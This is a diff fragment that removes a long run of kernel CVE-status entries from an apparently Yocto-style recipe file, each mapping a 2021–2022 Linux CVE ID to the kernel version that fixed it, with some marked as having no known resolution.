-CVE_STATUS[CVE-2021-4204] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2021-4218] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2021-42252] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-42327] = "fixed-version: Fixed from version 5.15"
-
-CVE_STATUS[CVE-2021-42739] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2021-43056] = "fixed-version: Fixed from version 5.15rc6"
-
-CVE_STATUS[CVE-2021-43057] = "fixed-version: Fixed from version 5.15rc3"
-
-CVE_STATUS[CVE-2021-43267] = "fixed-version: Fixed from version 5.15"
-
-CVE_STATUS[CVE-2021-43389] = "fixed-version: Fixed from version 5.15rc6"
-
-CVE_STATUS[CVE-2021-43975] = "fixed-version: Fixed from version 5.16rc2"
-
-CVE_STATUS[CVE-2021-43976] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2021-44733] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2021-44879] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2021-45095] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2021-45100] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2021-45402] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2021-45469] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2021-45480] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2021-45485] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-45486] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-45868] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2021-46283] = "fixed-version: Fixed from version 5.13rc7"
-
-CVE_STATUS[CVE-2022-0001] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-0002] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-0168] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-0171] = "fixed-version: Fixed from version 5.18rc4"
-
-CVE_STATUS[CVE-2022-0185] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-0264] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2022-0286] = "fixed-version: Fixed from version 5.14rc2"
-
-CVE_STATUS[CVE-2022-0322] = "fixed-version: Fixed from version 5.15rc6"
-
-CVE_STATUS[CVE-2022-0330] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2022-0382] = "fixed-version: Fixed from version 5.16"
-
-# CVE-2022-0400 has no known resolution
-
-CVE_STATUS[CVE-2022-0433] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-0435] = "fixed-version: Fixed from version 5.17rc4"
-
-CVE_STATUS[CVE-2022-0480] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2022-0487] = "fixed-version: Fixed from version 5.17rc4"
-
-CVE_STATUS[CVE-2022-0492] = "fixed-version: Fixed from version 5.17rc3"
-
-CVE_STATUS[CVE-2022-0494] = "fixed-version: Fixed from version 5.17rc5"
-
-CVE_STATUS[CVE-2022-0500] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-0516] = "fixed-version: Fixed from version 5.17rc4"
-
-CVE_STATUS[CVE-2022-0617] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2022-0644] = "fixed-version: Fixed from version 5.15rc7"
-
-CVE_STATUS[CVE-2022-0646] = "fixed-version: Fixed from version 5.17rc5"
-
-CVE_STATUS[CVE-2022-0742] = "fixed-version: Fixed from version 5.17rc7"
-
-CVE_STATUS[CVE-2022-0812] = "fixed-version: Fixed from version 5.8rc6"
-
-CVE_STATUS[CVE-2022-0847] = "fixed-version: Fixed from version 5.17rc6"
-
-CVE_STATUS[CVE-2022-0850] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2022-0854] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-0995] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-0998] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-1011] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-1012] = "fixed-version: Fixed from version 5.18rc6"
-
-CVE_STATUS[CVE-2022-1015] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1016] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1043] = "fixed-version: Fixed from version 5.14rc7"
-
-CVE_STATUS[CVE-2022-1048] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1055] = "fixed-version: Fixed from version 5.17rc3"
-
-# CVE-2022-1116 has no known resolution
-
-CVE_STATUS[CVE-2022-1158] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1184] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-1195] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2022-1198] = "fixed-version: Fixed from version 5.17rc6"
-
-CVE_STATUS[CVE-2022-1199] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-1204] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1205] = "fixed-version: Fixed from version 5.18rc1"
-
-# CVE-2022-1247 has no known resolution
-
-CVE_STATUS[CVE-2022-1263] = "fixed-version: Fixed from version 5.18rc3"
-
-CVE_STATUS[CVE-2022-1280] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2022-1353] = "fixed-version: Fixed from version 5.17"
-
-CVE_STATUS[CVE-2022-1419] = "fixed-version: Fixed from version 5.6rc2"
-
-CVE_STATUS[CVE-2022-1462] = "fixed-version: Fixed from version 5.19rc7"
-
-CVE_STATUS[CVE-2022-1508] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2022-1516] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1651] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1652] = "fixed-version: Fixed from version 5.18rc6"
-
-CVE_STATUS[CVE-2022-1671] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-1678] = "fixed-version: Fixed from version 4.20rc1"
-
-CVE_STATUS[CVE-2022-1679] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-1729] = "fixed-version: Fixed from version 5.18"
-
-CVE_STATUS[CVE-2022-1734] = "fixed-version: Fixed from version 5.18rc6"
-
-CVE_STATUS[CVE-2022-1786] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2022-1789] = "fixed-version: Fixed from version 5.18"
-
-CVE_STATUS[CVE-2022-1836] = "fixed-version: Fixed from version 5.18rc5"
-
-CVE_STATUS[CVE-2022-1852] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-1882] = "fixed-version: Fixed from version 5.19rc8"
-
-CVE_STATUS[CVE-2022-1943] = "fixed-version: Fixed from version 5.18rc7"
-
-CVE_STATUS[CVE-2022-1966] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-1972] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-1973] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-1974] = "fixed-version: Fixed from version 5.18rc6"
-
-CVE_STATUS[CVE-2022-1975] = "fixed-version: Fixed from version 5.18rc6"
-
-CVE_STATUS[CVE-2022-1976] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-1998] = "fixed-version: Fixed from version 5.17rc3"
-
-CVE_STATUS[CVE-2022-20008] = "fixed-version: Fixed from version 5.17rc5"
-
-CVE_STATUS[CVE-2022-20132] = "fixed-version: Fixed from version 5.16rc5"
-
-CVE_STATUS[CVE-2022-20141] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2022-20148] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2022-20153] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2022-20154] = "fixed-version: Fixed from version 5.16rc8"
-
-CVE_STATUS[CVE-2022-20158] = "fixed-version: Fixed from version 5.17"
-
-CVE_STATUS[CVE-2022-20166] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2022-20368] = "fixed-version: Fixed from version 5.17"
-
-CVE_STATUS[CVE-2022-20369] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-20409] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2022-20421] = "fixed-version: Fixed from version 6.0rc4"
-
-CVE_STATUS[CVE-2022-20422] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-20423] = "fixed-version: Fixed from version 5.17"
-
-CVE_STATUS[CVE-2022-20424] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2022-20565] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2022-20566] = "fixed-version: Fixed from version 5.19"
-
-CVE_STATUS[CVE-2022-20567] = "fixed-version: Fixed from version 4.16rc5"
-
-CVE_STATUS[CVE-2022-20568] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2022-20572] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-2078] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-21123] = "fixed-version: Fixed from version 5.19rc3"
-
-CVE_STATUS[CVE-2022-21125] = "fixed-version: Fixed from version 5.19rc3"
-
-CVE_STATUS[CVE-2022-21166] = "fixed-version: Fixed from version 5.19rc3"
-
-CVE_STATUS[CVE-2022-21385] = "fixed-version: Fixed from version 4.20"
-
-CVE_STATUS[CVE-2022-21499] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-21505] = "fixed-version: Fixed from version 5.19rc8"
-
-CVE_STATUS[CVE-2022-2153] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-2196] = "fixed-version: Fixed from version 6.2rc1"
-
-# CVE-2022-2209 has no known resolution
-
-CVE_STATUS[CVE-2022-22942] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2022-23036] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-23037] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-23038] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-23039] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-23040] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-23041] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-23042] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-2308] = "fixed-version: Fixed from version 6.0"
-
-CVE_STATUS[CVE-2022-2318] = "fixed-version: Fixed from version 5.19rc5"
-
-CVE_STATUS[CVE-2022-23222] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-2327] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2022-2380] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-23816] = "fixed-version: Fixed from version 5.19rc7"
-
-# CVE-2022-23825 has no known resolution
-
-CVE_STATUS[CVE-2022-23960] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-24122] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2022-24448] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2022-24958] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-24959] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2022-2503] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-25258] = "fixed-version: Fixed from version 5.17rc4"
-
-# CVE-2022-25265 has no known resolution
-
-CVE_STATUS[CVE-2022-25375] = "fixed-version: Fixed from version 5.17rc4"
-
-CVE_STATUS[CVE-2022-25636] = "fixed-version: Fixed from version 5.17rc6"
-
-CVE_STATUS[CVE-2022-2585] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-2586] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-2588] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-2590] = "fixed-version: Fixed from version 6.0rc3"
-
-CVE_STATUS[CVE-2022-2602] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-26365] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-26373] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-2639] = "fixed-version: Fixed from version 5.18rc4"
-
-CVE_STATUS[CVE-2022-26490] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-2663] = "fixed-version: Fixed from version 6.0rc5"
-
-# CVE-2022-26878 has no known resolution
-
-CVE_STATUS[CVE-2022-26966] = "fixed-version: Fixed from version 5.17rc6"
-
-CVE_STATUS[CVE-2022-27223] = "fixed-version: Fixed from version 5.17rc6"
-
-CVE_STATUS[CVE-2022-27666] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2022-27672] = "fixed-version: Fixed from version 6.2"
-
-CVE_STATUS[CVE-2022-2785] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-27950] = "fixed-version: Fixed from version 5.17rc5"
-
-CVE_STATUS[CVE-2022-28356] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-28388] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-28389] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-28390] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-2873] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-28796] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-28893] = "fixed-version: Fixed from version 5.18rc2"
-
-CVE_STATUS[CVE-2022-2905] = "fixed-version: Fixed from version 6.0rc4"
-
-CVE_STATUS[CVE-2022-29156] = "fixed-version: Fixed from version 5.17rc6"
-
-CVE_STATUS[CVE-2022-2938] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2022-29581] = "fixed-version: Fixed from version 5.18rc4"
-
-CVE_STATUS[CVE-2022-29582] = "fixed-version: Fixed from version 5.18rc2"
-
-CVE_STATUS[CVE-2022-2959] = "fixed-version: Fixed from version 5.19rc1"
-
-# CVE-2022-2961 has no known resolution
-
-CVE_STATUS[CVE-2022-2964] = "fixed-version: Fixed from version 5.17rc4"
-
-CVE_STATUS[CVE-2022-2977] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-2978] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-29900] = "fixed-version: Fixed from version 5.19rc7"
-
-CVE_STATUS[CVE-2022-29901] = "fixed-version: Fixed from version 5.19rc7"
-
-CVE_STATUS[CVE-2022-2991] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2022-29968] = "fixed-version: Fixed from version 5.18rc5"
-
-CVE_STATUS[CVE-2022-3028] = "fixed-version: Fixed from version 6.0rc3"
-
-CVE_STATUS[CVE-2022-30594] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-3061] = "fixed-version: Fixed from version 5.18rc5"
-
-CVE_STATUS[CVE-2022-3077] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-3078] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-3103] = "fixed-version: Fixed from version 6.0rc3"
-
-CVE_STATUS[CVE-2022-3104] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-3105] = "fixed-version: Fixed from version 5.16"
-
-CVE_STATUS[CVE-2022-3106] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2022-3107] = "fixed-version: Fixed from version 5.17"
-
-CVE_STATUS[CVE-2022-3108] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-3110] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-3111] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-3112] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-3113] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-3114] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-3115] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-3169] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3170] = "fixed-version: Fixed from version 6.0rc4"
-
-CVE_STATUS[CVE-2022-3176] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2022-3202] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-32250] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-32296] = "fixed-version: Fixed from version 5.18rc6"
-
-# CVE-2022-3238 has no known resolution
-
-CVE_STATUS[CVE-2022-3239] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2022-32981] = "fixed-version: Fixed from version 5.19rc2"
-
-CVE_STATUS[CVE-2022-3303] = "fixed-version: Fixed from version 6.0rc5"
-
-CVE_STATUS[CVE-2022-3344] = "fixed-version: Fixed from version 6.1rc7"
-
-CVE_STATUS[CVE-2022-33740] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-33741] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-33742] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-33743] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-33744] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-33981] = "fixed-version: Fixed from version 5.18rc5"
-
-CVE_STATUS[CVE-2022-3424] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-3435] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-34494] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-34495] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-34918] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-3521] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3522] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3523] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3524] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3526] = "fixed-version: Fixed from version 5.18rc3"
-
-CVE_STATUS[CVE-2022-3531] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-3532] = "fixed-version: Fixed from version 6.2rc1"
-
-# CVE-2022-3533 has no known resolution
-
-CVE_STATUS[CVE-2022-3534] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-3535] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3541] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3542] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3543] = "fixed-version: Fixed from version 6.1rc1"
-
-# CVE-2022-3544 has no known resolution
-
-CVE_STATUS[CVE-2022-3545] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-3564] = "fixed-version: Fixed from version 6.1rc4"
-
-CVE_STATUS[CVE-2022-3565] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3566] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3567] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3577] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-3586] = "fixed-version: Fixed from version 6.0rc5"
-
-CVE_STATUS[CVE-2022-3594] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3595] = "fixed-version: Fixed from version 6.1rc1"
-
-# CVE-2022-3606 has no known resolution
-
-CVE_STATUS[CVE-2022-36123] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-3619] = "fixed-version: Fixed from version 6.1rc4"
-
-CVE_STATUS[CVE-2022-3621] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3623] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3624] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-3625] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-3628] = "fixed-version: Fixed from version 6.1rc5"
-
-CVE_STATUS[CVE-2022-36280] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-3629] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-3630] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-3633] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-3635] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-3636] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-3640] = "fixed-version: Fixed from version 6.1rc4"
-
-# CVE-2022-36402 has no known resolution
-
-# CVE-2022-3642 has no known resolution
-
-CVE_STATUS[CVE-2022-3643] = "fixed-version: Fixed from version 6.1"
-
-CVE_STATUS[CVE-2022-3646] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-3649] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-36879] = "fixed-version: Fixed from version 5.19rc8"
-
-CVE_STATUS[CVE-2022-36946] = "fixed-version: Fixed from version 5.19"
-
-CVE_STATUS[CVE-2022-3707] = "fixed-version: Fixed from version 6.2rc3"
-
-# CVE-2022-38096 has no known resolution
-
-CVE_STATUS[CVE-2022-38457] = "fixed-version: Fixed from version 6.2rc4"
-
-CVE_STATUS[CVE-2022-3903] = "fixed-version: Fixed from version 6.1rc2"
-
-CVE_STATUS[CVE-2022-3910] = "fixed-version: Fixed from version 6.0rc6"
-
-CVE_STATUS[CVE-2022-39188] = "fixed-version: Fixed from version 5.19rc8"
-
-CVE_STATUS[CVE-2022-39189] = "fixed-version: Fixed from version 5.19rc2"
-
-CVE_STATUS[CVE-2022-39190] = "fixed-version: Fixed from version 6.0rc3"
-
-CVE_STATUS[CVE-2022-3977] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-39842] = "fixed-version: Fixed from version 5.19rc4"
-
-CVE_STATUS[CVE-2022-40133] = "fixed-version: Fixed from version 6.2rc4"
-
-CVE_STATUS[CVE-2022-40307] = "fixed-version: Fixed from version 6.0rc5"
-
-CVE_STATUS[CVE-2022-40476] = "fixed-version: Fixed from version 5.19rc4"
-
-CVE_STATUS[CVE-2022-40768] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-4095] = "fixed-version: Fixed from version 6.0rc4"
-
-CVE_STATUS[CVE-2022-40982] = "cpe-stable-backport: Backported in 6.4.9"
-
-CVE_STATUS[CVE-2022-41218] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-41222] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2022-4127] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2022-4128] = "fixed-version: Fixed from version 5.19rc7"
-
-CVE_STATUS[CVE-2022-4129] = "fixed-version: Fixed from version 6.1rc6"
-
-CVE_STATUS[CVE-2022-4139] = "fixed-version: Fixed from version 6.1rc8"
-
-CVE_STATUS[CVE-2022-41674] = "fixed-version: Fixed from version 6.1rc1"
-
-# CVE-2022-41848 has no known resolution
-
-CVE_STATUS[CVE-2022-41849] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-41850] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-41858] = "fixed-version: Fixed from version 5.18rc2"
-
-CVE_STATUS[CVE-2022-42328] = "fixed-version: Fixed from version 6.1"
-
-CVE_STATUS[CVE-2022-42329] = "fixed-version: Fixed from version 6.1"
-
-CVE_STATUS[CVE-2022-42432] = "fixed-version: Fixed from version 6.0rc7"
-
-CVE_STATUS[CVE-2022-4269] = "fixed-version: Fixed from version 6.3rc1"
-
-CVE_STATUS[CVE-2022-42703] = "fixed-version: Fixed from version 6.0rc4"
-
-CVE_STATUS[CVE-2022-42719] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-42720] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-42721] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-42722] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-42895] = "fixed-version: Fixed from version 6.1rc4"
-
-CVE_STATUS[CVE-2022-42896] = "fixed-version: Fixed from version 6.1rc4"
-
-CVE_STATUS[CVE-2022-43750] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-4378] = "fixed-version: Fixed from version 6.1"
-
-CVE_STATUS[CVE-2022-4379] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-4382] = "fixed-version: Fixed from version 6.2rc5"
-
-CVE_STATUS[CVE-2022-43945] = "fixed-version: Fixed from version 6.1rc1"
-
-CVE_STATUS[CVE-2022-44032] = "fixed-version: Fixed from version 6.4rc1"
-
-CVE_STATUS[CVE-2022-44033] = "fixed-version: Fixed from version 6.4rc1"
-
-# CVE-2022-44034 has no known resolution
-
-# CVE-2022-4543 has no known resolution
-
-CVE_STATUS[CVE-2022-45869] = "fixed-version: Fixed from version 6.1rc7"
-
-# CVE-2022-45884 has no known resolution
-
-# CVE-2022-45885 has no known resolution
-
-CVE_STATUS[CVE-2022-45886] = "fixed-version: Fixed from version 6.4rc3"
-
-CVE_STATUS[CVE-2022-45887] = "fixed-version: Fixed from version 6.4rc3"
-
-CVE_STATUS[CVE-2022-45888] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-45919] = "fixed-version: Fixed from version 6.4rc3"
-
-CVE_STATUS[CVE-2022-45934] = "fixed-version: Fixed from version 6.1"
-
-CVE_STATUS[CVE-2022-4662] = "fixed-version: Fixed from version 6.0rc4"
-
-CVE_STATUS[CVE-2022-4696] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2022-4744] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2022-47518] = "fixed-version: Fixed from version 6.1rc8"
-
-CVE_STATUS[CVE-2022-47519] = "fixed-version: Fixed from version 6.1rc8"
-
-CVE_STATUS[CVE-2022-47520] = "fixed-version: Fixed from version 6.1rc8"
-
-CVE_STATUS[CVE-2022-47521] = "fixed-version: Fixed from version 6.1rc8"
-
-CVE_STATUS[CVE-2022-47929] = "fixed-version: Fixed from version 6.2rc4"
-
-CVE_STATUS[CVE-2022-47938] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-47939] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-47940] = "fixed-version: Fixed from version 5.19rc1"
-
-CVE_STATUS[CVE-2022-47941] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-47942] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-47943] = "fixed-version: Fixed from version 6.0rc1"
-
-CVE_STATUS[CVE-2022-47946] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2022-4842] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-48423] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-48424] = "fixed-version: Fixed from version 6.2rc1"
-
-CVE_STATUS[CVE-2022-48425] = "fixed-version: Fixed from version 6.4rc1"
-
